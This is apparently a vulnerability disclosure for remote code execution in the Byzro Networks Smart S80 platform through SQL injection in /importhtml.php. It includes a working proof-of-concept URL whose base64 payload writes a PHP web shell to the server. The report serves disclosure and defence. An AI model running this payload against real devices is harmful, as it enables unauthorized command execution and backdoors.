Skip to content

Latest commit

 

History

History
47 lines (34 loc) · 1.81 KB

rce.md

File metadata and controls

47 lines (34 loc) · 1.81 KB
Raw

Byzro Networks Smart S80 management platform has rce vulnerability

version:s80

Vulnerability location:/importhtml.php

Code analysis

The sql parameters in the code are controllable and brought into the exportHtmlWebSend() function.

image

In this function, the sql statement is directly brought into mysql_query() for execution. We can write any file into the file through intooutfile, causing an rce vulnerability.

image

  1. The login interface is as shown in the figure.

image

  1. Construct the url, write the comment.php file, construct the poc, and successfully execute the command

https://ip:port/importhtml.php?type=exporthtmlmail&tab=tb_RCtrlLog&sql=c2VsZWN0IDB4M2MzZjcwNjg3MDIwNjU2MzY4NmYyMDczNzk3Mzc0NjU2ZDI4MjQ1ZjUwNGY1MzU0NWIyMjYzNmQ2NDIyNWQyOTNiM2YzZSBpbnRvIG91dGZpbGUgJy91c3IvaGRkb2NzL25zZy9hcHAvY29ubW1lbnQucGhwJw==

POC